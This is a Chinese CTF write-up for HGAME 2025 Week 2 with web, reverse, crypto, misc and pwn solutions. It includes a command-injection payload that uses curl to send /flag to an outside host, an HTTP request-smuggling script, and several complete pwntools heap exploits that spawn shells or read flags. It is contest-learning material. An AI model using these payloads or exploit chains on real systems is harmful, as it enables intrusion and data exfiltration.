HGAME2025 WEEK2

队伍名：小纯真

队伍ID：#000258

WEB

HoneyPot

命令注入：导入配置 设置密码为

```
;curl http://<IP>:<PORT>/`cat /flag` #
```

不存在的车厢

请求走私 Lite

使用uint16导致在遇到比较长的body时会截断

```
from pwn import *
context.endian = 'big'


payload = p16(4) + b'POST' + p16(5) + b'/flag' + p16(0) + p16(0)
payload = payload.ljust(65536, b'a')
req = '''GET / HTTP/1.1\r
Host: example.com\r
Content-Length: 65536\r
\r
'''.encode() + payload
p = connect('node1.hgame.vidar.club', 30582)
p.send(req)

req = '''GET / HTTP/1.1\r
Host: example.com\r
Content-Length: 0\r
\r
\r
'''.encode()

p.sendafter(b'HGAME 2025', req)
p.interactive()
```

REVERSE

Signin

反调笑传之 check check binary

程序中计算了main函数开始0x10000长度的数据作为密钥的一部分，所以不能下软件断点，不能patch。使用硬件执行断点，先断在反调看debug register那里，让分支通过，然后正常按加密代码写解密代码，dump密钥

```
#include <stdint.h>
#include <stdio.h>

typedef uint32_t _DWORD;

unsigned char key[] =
{
  0xB5, 0x5F, 0xA2, 0x97, 0xBA, 0x6D, 0x75, 0xE1, 0x4A, 0x46,
  0x43, 0xA1, 0x4F, 0x28, 0x8F, 0x5A
};
unsigned char enc[] =
{
  0x23, 0xEA, 0x50, 0x30, 0x00, 0x4C, 0x51, 0x47, 0xEE, 0x9C,
  0x76, 0x2B, 0xD5, 0xE6, 0x94, 0x17, 0xED, 0x2B, 0xE4, 0xB3,
  0xCB, 0x36, 0xD5, 0x61, 0xC0, 0xC2, 0xA0, 0x7C, 0xFE, 0x67,
  0xD7, 0x5E, 0xAF, 0xE0, 0x79, 0xC5, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

void decrypt(_DWORD* a1, _DWORD* a2){
  unsigned int v3, v4;
  int v9;
  for(int rounds = 0; rounds < 11; rounds++){
    for ( int i=8; i>=0; i--){
      v9 = a1[i];
      v4 = a1[(i+9-1)%9];
      v3 = a1[(i+1)%9];
      a1[i] -= (((v4 ^ a2[i & 3]) + v3) ^ (((v4 << 4) ^ (v3 >> 3)) + ((v3 << 2) ^
(v4 >> 5))));
    }
  }
}

int main(){
   decrypt((_DWORD*)enc, (_DWORD*)key);
   puts(enc);
}
```

Fast and Frustrating

动调就得应该，就得动调，而不是不动调

程序先检查2字母ISOLanugageName是不是vt，直接patch过掉这个检查

然后发现加载了一个不合法的base64字符串，查看附近的内容发现还有一个ResourceSet里存着正确内容，断点下在 `S_P_CoreLib_System_Resources_ManifestBasedResourceGroveler__CreateResourceSet`，此时rdx寄存器是MemoryStream，修改地址和长度到那个正确的ResourceSet即可正确加载

看存储的Constrs，即约束条件（Constraints），先base64 decode再gzip decompress得到一个json，有mat_a和vec_b。所以猜测要计算出vec_c使得mat_a*vec_c=vec_b

程序在接收完我们的key时，使用了一个linq操作，包括对着array使用了all，然后后面有个lambda进行计算，也可以印证我们的猜想

```
import numpy as np
mat_a = np.array([[1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 2, -1, 0, -2, 4, -12, 16, 2,
-21, -29, 11, -37, 3, 104, 64, 192], [0, 1, 1, 0, 2, 1, 1, 1, -1, 3, -1, -1, -1,
0, -3, 0, -6, 18, 6, -23, -25, 3, -21, -25, 26, 156, -229], [0, -1, 0, 0, 0, -2,
0, 1, 2, 1, 0, 3, -1, -6, 3, -7, 30, -34, -7, 50, 99, -69, 147, -30, -241, -236,
188], [1, 1, 3, 1, 7, -1, 3, 4, 2, 10, -2, 6, -6, -8, -6, -1, 1, 35, 10, -34, 13,
-65, 75, -98, -51, 197, 83], [0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 2, 0, -1, 4, 1, -1,
10, 0, 0, -7, 31, -56, 78, -58, -106, 53, -62], [-1, -1, 0, 0, -1, -1, 0, 1, 0,
0, 0, 0, 0, -3, 3, -6, 20, -21, -1, 29, 53, -35, 79, -23, -162, -90, -142], [0,
0, -1, 0, -1, 0, 0, -1, -1, -4, -2, 0, 1, -3, -2, 5, -16, 1, -1, 5, -48, 84,
-116, 86, 148, -25, -72], [0, 1, 1, 0, -1, 1, 1, -1, -4, 0, -7, -2, 2, -13, -6,
0, -24, 5, 4, 14, -86, 151, -207, 132, 230, -30, -241], [0, 0, -2, 0, -1, 2, -1,
-1, 0, -6, 4, -3, 1, 16, 0, 12, -26, 27, 0, -55, -75, 31, -94, 11, 192, 226,
-94], [-1, -1, 0, 0, -2, -1, -1, 0, 0, 1, 2, -1, 1, 1, 6, -8, 24, -22, -1, 24,
63, -66, 112, -50, -180, -111, 37], [0, 0, 1, 0, 3, -1, 1, 3, 2, 5, 2, 2, -3, 1,
1, -6, 25, 2, 5, -10, 69, -119, 169, -134, -240, 124, -169], [0, 0, -2, -1, -3,
2, -2, -2, -1, -5, 3, -4, 3, 14, 2, 6, -24, 23, 4, -52, -86, 36, -114, 10, 234,
189, 62], [-2, 0, -1, 0, -5, 1, -2, -3, -4, -2, 3, -9, 6, 12, 8, -6, 8, -16, -1,
3, -4, -6, -1, -6, -39, -24, -244], [0, 0, -1, 0, -2, 1, -2, -1, 1, -3, 6, -2, 1,
15, 3, 7, -16, 26, 4, -56, -54, -13, -39, -39, 133, 221, 37], [0, 0, 0, 0, 0, 0,
-1, 0, 2, 0, 5, -2, 1, 11, 4, -2, 21, -17, -9, 6, 73, -100, 151, -79, -212, -50,
68], [0, 0, 0, 0, 1, -1, 1, 0, 1, 1, -1, 2, -1, -4, 0, -2, 13, -17, -5, 29, 49,
-23, 64, 2, -116, -135, 68], [0, 0, -1, -1, -5, 1, -2, -3, -2, -5, 0, -4, 5, 2,
3, -2, -2, -24, -6, 25, -17, 54, -70, 70, 66, -152, 40], [0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 2, 1, 0, 6, 1, 5, -19, 35, 9, -57, -66, 3, -64, -33, 180, 238, 106], [1, 0,
0, 0, 0, -1, 0, 0, 0, 1, -1, 1, 1, -2, -1, -2, -1, 2, 2, -7, -11, -2, -13, -11,
45, 21, 138], [-1, 0, -1, 0, -3, 1, -2, -2, -1, -1, 7, -6, 4, 22, 8, -3, 10, 3,
2, -41, 9, -97, 87, -113, -75, 172, -72], [0, 0, 0, 0, 1, 0, 0, 1, -1, 1, 1, -1,
0, 3, -1, 2, -9, 24, 10, -40, -44, -1, -37, -38, 77, 232, -226], [0, 1, 0, 0, 2,
2, 0, 1, 1, 0, 3, -3, -1, 13, -2, 5, -10, 23, -1, -43, -20, -30, 13, -51, 13,
207, -149], [0, 1, 1, 0, 2, 1, 0, 1, 0, 7, 5, -2, -1, 11, 3, -6, 18, 16, 8, -43,
41, -141, 159, -169, -169, 216, -12], [1, 0, -1, 0, -1, 1, -1, -2, 0, -4, 1, 0,
0, 2, -2, 7, -14, 1, -2, 1, -29, 49, -69, 63, 106, -36, 57], [1, 0, 0, 0, 4, 0,
0, 2, 4, 1, 6, 3, -4, 13, 1, 5, 10, 19, 0, -45, 50, -138, 166, -142, -139, 192,
198], [0, 1, 1, 0, 0, 1, 0, 0, -2, 3, 1, -3, 1, 6, 1, -3, -1, 18, 8, -35, -23,
-29, 4, -61, 28, 173, -70], [1, 1, 0, 0, 1, 2, 0, -1, 0, -3, 1, -1, 0, 8, -4, 12,
-33, 31, -1, -45, -83, 63, -129, 47, 244, 159, 77]])

vec_b = np.array([31772, -16089, -5137, 19004, -11231, -30741, 1908, -13072,
12518, -15381, -28148, 26993, -37508, 20766, -10350, -4593, -2569, 33556, 17442,
-11570, -9905, -5847, -5959, 13220, 23951, -670, 33570])

try:
    solution_x = np.linalg.solve(mat_a, vec_b)
    for i in solution_x:
        print(chr(round(i)), end='')
except np.linalg.LinAlgError as e:
    print("Error: ", e)
```

写代码解出key，输进去即可得到flag

CRYPTO

Ancient Recall

仔细观察发现每轮的混合都可逆，做点加减法

```
Major_Arcana = ["The Fool", "The Magician", "The High Priestess","The Empress",
"The Emperor", "The Hierophant","The Lovers", "The Chariot", "Strength","The
Hermit", "Wheel of Fortune", "Justice","The Hanged Man", "Death",
"Temperance","The Devil", "The Tower", "The Star","The Moon", "The Sun",
"Judgement","The World"]
wands = ["Ace of Wands", "Two of Wands", "Three of Wands", "Four of Wands", "Five
of Wands", "Six of Wands", "Seven of Wands", "Eight of Wands", "Nine of Wands",
"Ten of Wands", "Page of Wands", "Knight of Wands", "Queen of Wands", "King of
Wands"]
cups = ["Ace of Cups", "Two of Cups", "Three of Cups", "Four of Cups", "Five of
Cups", "Six of Cups", "Seven of Cups", "Eight of Cups", "Nine of Cups", "Ten of
Cups", "Page of Cups", "Knight of Cups", "Queen of Cups", "King of Cups"]
swords = ["Ace of Swords", "Two of Swords", "Three of Swords", "Four of Swords",
"Five of Swords", "Six of Swords", "Seven of Swords", "Eight of Swords", "Nine of
Swords", "Ten of Swords", "Page of Swords", "Knight of Swords", "Queen of
Swords", "King of Swords"]
pentacles = ["Ace of Pentacles", "Two of Pentacles", "Three of Pentacles", "Four
of Pentacles", "Five of Pentacles", "Six of Pentacles", "Seven of Pentacles",
"Eight of Pentacles", "Nine of Pentacles", "Ten of Pentacles", "Page of
Pentacles", "Knight of Pentacles", "Queen of Pentacles", "King of Pentacles"]
Minor_Arcana = wands + cups + swords + pentacles
tarot = Major_Arcana + Minor_Arcana

enc =
[25329519520662917748904983691141959172407947049182105205710670851114746750 19,
25329519520662917748903276660741003578980230131054431788812947003815097952 70,
25329519520662917748905544592872766049031303158592585441730683769670723357 30,
25329519520662917748908653282415328853915101626115345140144091742842991390 15,
25329519520662917748908306626081341560179463763099899341758339139211426093 34]
def wheel(arr):
    total = sum(arr) // 2
    arr_new = [
        total - arr[1] - arr[3],
        total - arr[2] - arr[4],
        total - arr[0] - arr[3],
        total - arr[1] - arr[4],
        total - arr[0] - arr[2]
    ]
    return arr_new

for i in range(250):
    enc = wheel(enc)
fate = ['re-' + tarot[i^-1] if i<0 else tarot[i] for i in enc]
FLAG=("hgame{"+"&".join(fate)+"}").replace(" ","_")
print(FLAG)
```

MISC

Invest in hints

已知flag开头为`hgame{`，结尾为`}`，所以删除掉Hint掩码的第一位和后六位，存为hints.txt，找最小子集

```
with open('./hints.txt', 'r') as f:
    lines = f.read().splitlines()

hint = [0] * 25
for i in range(25):
    hint[i] = int(lines[i], 2)

def min_subset_with_or_to_target(arr, target):
    n = len(arr)
    min_count = float('inf')
    best_subset = []

    def backtrack(index, current_or, count, current_subset):
        nonlocal min_count, best_subset

        # 如果当前或的结果已经达到目标
        if current_or == target:
            if count < min_count:
                min_count = count
                best_subset = current_subset[:]
            return

        # 如果当前或的结果已经超过了目标，或者索引越界，停止搜索
        if current_or > target or index >= n:
            return

        # 选择当前元素
        current_subset.append(index)
        backtrack(index + 1, current_or | arr[index], count + 1, current_subset)
        current_subset.pop()  # 回溯

        # 不选择当前元素
        backtrack(index + 1, current_or, count, current_subset)

    backtrack(0, 0, 0, [])

    return min_count, best_subset if min_count != float('inf') else (-1, [])

target = 2**64 - 1

result_count, result_subset = min_subset_with_or_to_target(hint, target)

if result_count != -1:
    print(f"最少选择的个数是: {result_count}")
    print(f"对应的元素是: {[i+51 for i in result_subset]}")
else:
    print("没有找到合适的子集")
```

然后解锁对应的hint，再合成大flag

```
choose_hint = [51, 67, 70, 72, 73]
hints = {
    51: 'aAug5MkyAzq6Dr2mCALwmH',
    67: 'mgko99i7gayzt1hCuADLdHa4',
    70: 'ham5Yo99ACLQy2q3i61NluRCA5Ewd',
    72: 'aeAkf3o9CrOQaWyAzi9Cbx82AD42',
    73: 'e{uYMkfo9i7LOgSCKWy3t69DNCbmDLH',
}

hintmap = {}
flag = ['?'] * 71
with open('./hintmap.txt', 'r') as f:
    lines = f.read().splitlines()
    for i in range(len(lines)):
        hintmap[i+51] = lines[i][::-1]

for hint_id, hint in hints.items():
    mask = hintmap[hint_id]
    for c in range(len(mask)):
        if mask[c] == '1':
            flag[c] = hint[0]
            hint = hint[1:]

print(''.join(flag))
```

Computer Cleaner Plus

打开虚拟机直接ls -al就发现不对劲，里面有个隐藏目录存着ps，看起来像真的ps。于是直接cat `which ps`发现是个恶意脚本，拿到恶意程序的名称

串行调试模式

找文档 https://github.com/riscv-non-isa/riscv-sbi-doc/blob/master/src/ext-debug-console.adoc

得到syscall table，找到输出的部分。

直接用IDA按RISC-V打开，逆下逻辑。这里IDA的risc-v disassembler有bug（la的伪指令会有问题），得结合gdb动调看

发现就是主线程输出完启动信息后启动剩下三个线程，一起输出内容。所以直接下输出断点拿到每个线程的输出内容。断在0x80200994和0x80200426

然后按线程1-4的顺序轮流拼接字符，能得到一个base32字符串，[a-z2-8]解码得flag

PWN

Signin2Heap

```
from pwn import *
context.binary = './vuln'
context.log_level = 'debug'
context.terminal = 'tmux splitw -h'.split()
```

```python
libc = ELF('./libc-2.27.so', checksec=False)
# p = process('./vuln')
p = remote('node1.hgame.vidar.club', 32619)

def add(idx: int, size: int, content: bytes):
    p.sendafter(b'choice:', p32(1))
    p.sendlineafter(b'Index: ', str(idx).encode())
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Content: ', content)
def show(idx: int):
    p.sendafter(b'choice:', p32(3))
    p.sendlineafter(b'Index: ', str(idx).encode())
def free(idx: int):
    p.sendafter(b'choice:', p32(2))
    p.sendlineafter(b'Index: ', str(idx).encode())

for i in range(8):
    add(i, 0xf8, b'a')
add(8, 0x88, b'a')
add(9, 0xf8, b'a')
add(10, 0x88, b'/bin/sh\x00')

for i in range(7):
    free(i)
free(8)
free(7)
add(0, 0x88, b'a'*0x80+p64(0x190))
free(9)
for i in range(1,8):
    add(i, 0xf8, b'/bin/sh')
add(8, 0xf8, b'a')
show(0)
libc.address = u64(p.recv(6)+b'\0\0') - 0x3ebca0
success(hex(libc.address))

add(9, 0x58, b'a')
for i in range(1, 8):
    free(i)
for i in range(1, 8):
    add(i, 0x58, b'a')
add(11, 0x58, b'a')
add(12, 0x58, b'a')
add(13, 0x58, b'a')
for i in range(1,8):
    free(i)
free(12)
free(0)
free(11)
free(9)
for i in range(1, 8):
    add(i, 0x58, b'a')
add(0, 0x58, p64(libc.sym['__free_hook']-0x8))

add(9, 0x58, b'a')
add(11, 0x58, b'a')
add(12, 0x58, p64(0)+p64(libc.sym['system']))
```

```
free(10)
p.interactive()
```

Where is the vulnerability

```
from pwn import *
context.binary = './vuln'
context.log_level = 'debug'
context.terminal = 'tmux splitw -h'.split()
# p = process('./vuln', env={'LD_LIBRARY_PATH': '.'})
p = remote('node1.hgame.vidar.club', 30624)
libc = ELF('./libc.so.6', checksec=False)

def add(idx: int, size: int):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'Index: ', str(idx).encode())
    p.sendlineafter(b'Size: ', str(size).encode())

def free(idx: int):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b'Index: ', str(idx).encode())

def edit(idx: int, content: bytes):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b'Index: ', str(idx).encode())
    p.sendafter(b'Content: ', content)

def show(idx: int):
    p.sendlineafter(b'>', b'4')
    p.sendlineafter(b'Index: ', str(idx).encode())

add(0, 0x518)
add(1, 0x528)
add(2, 0x508)

free(0)
show(0)
libc.address = u64(p.recv(6)+b'\0\0') - 0x203b20
success('libc ==> ' + hex(libc.address))

add(3, 0x528)
edit(0, b'a'*0x10)
show(0)
p.recv(0x10)
heap = u64(p.recv(6)+b'\0\0')
fakeio_addr = heap+0xa50
success('heap ==> ' + hex(heap))

free(2)
edit(0, p64(0)*3 + p64(libc.sym['_IO_list_all']-0x20))
add(4, 0x528)

# 0x0000000000176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call
qword ptr [rdx + 0x20]
```

```
gadget = libc.address + 0x176f0e

fake_io = flat({
        0x18: 0,
        0x20: 0,
        0x28: 1,
        0x30: 0,
        0x38: p64(heap+0x20),
        0x68: gadget,
        0x88: fakeio_addr + 0x2000,
        0xa0: fakeio_addr,
        0xe0: fakeio_addr,
        0xd8: libc.sym['_IO_wfile_jumps']
}, filler=b'\0')
edit(2, fake_io[0x10:])
edit(1, asm(shellcraft.cat('flag')))


syscall_ret = libc.address + 0x11b1e3

rop = ROP(libc)
rop.mprotect(heap & ~0xfff, 0x4000)
rop.call(heap+0x530)

payload = flat({
    0x20: libc.sym['setcontext']+0x2d,
    0x88: 0x7,
    0xe0: fakeio_addr + 0x3000,
    0xa0: heap + 0x220,
    0xa8: rop.find_gadget(['ret'])[0]
}, filler=b'\0')
frame = SigreturnFrame()
frame.rdx = 7
frame['&fpstate'] = fakeio_addr + 0x3000
frame.rsp = heap + 0x220
frame.rip = rop.find_gadget(['ret'])[0]
frame['uc_stack.ss_size'] = libc.sym['setcontext']+0x2d

edit(0, flat({0: b'flag\x00', 0x10: bytes(frame), 0x210: rop.chain()},
filler=b'\0'))

p.sendlineafter(b'>', b'5')
p.interactive()
```

Hit List

```
from pwn import *
context.binary = './vuln'
context.log_level='debug'
context.terminal = 'tmux splitw -h'.split()

# p = process('./vuln')
p = remote('node1.hgame.vidar.club', 32033)
libc = ELF('./libc.so.6', checksec=False)
```

```python
def send(x, end=b'\n'):
    if isinstance(x, int):
        if x<0:
            p.sendafter(b'>', str(x&0xffffffff).encode() + end)
        else:
            p.sendafter(b'>', str(x).encode() + end)
    elif isinstance(x, str):
        p.sendafter(b'>', x.encode() + end)
    elif isinstance(x, bytes):
        p.sendafter(b'>', x + end)
    else:
        assert False
def add(number, size, name, content):
    send(1)
    send(number)
    send(name)
    send(size)
    send(content, end=b'')
def free(idx):
    send(2)
    send(idx)
def edit(idx, size, number, name, content):
    send(3)
    send(idx)
    send(number)
    send(name)
    send(size)
    send(content, end=b'')
def show(idx):
    send(4)
    send(idx)

for i in range(5):
    add(i, 0x18, 'a', b'a')
for i in range(5):
    free(0)
add(0, 0x18, 'a', b'a'*0x10)
show(0)
p.recvuntil(b'a'*0x10)
heap = u64(p.recv(6)+b'\0\0') - 0x390
success(hex(heap))
free(0)
for i in range(10):
    add(i, 0x150, 'a', b'a')
for i in range(8, 1, -1):
    free(i)

# 1: 0x5d0 + 0x10
send(1)
send(114514)
send('a')
send(-10086)
send(hex(heap+0x5e0))

show(1)
```

```
p.recvuntil(b'Name: ')
libc.address = u64(p.recv(6)+b'\0\0') - 0x21ace0
success(hex(libc.address))

free(0)
add(2, 0x2b0, 'b', 'b')

for i in range(3, 9):
    add(3, 0x150, '/bin/sh', b'/bin/sh\x00')
free(0)
dest = libc.address + libc.dynamic_value_by_tag('DT_PLTGOT')
edit(2, 0x2b0, 1919810, 'a', b'\0'*0x150+p64(0x161)+p64((heap >> 12)^dest))
add(111, 0x150, b'/bin/sh', b'/bin/sh\x00')
add(222, 0x150, p64(libc.sym['system'])[:7], p64(libc.sym['system'])*42)
show(5)
p.interactive()
```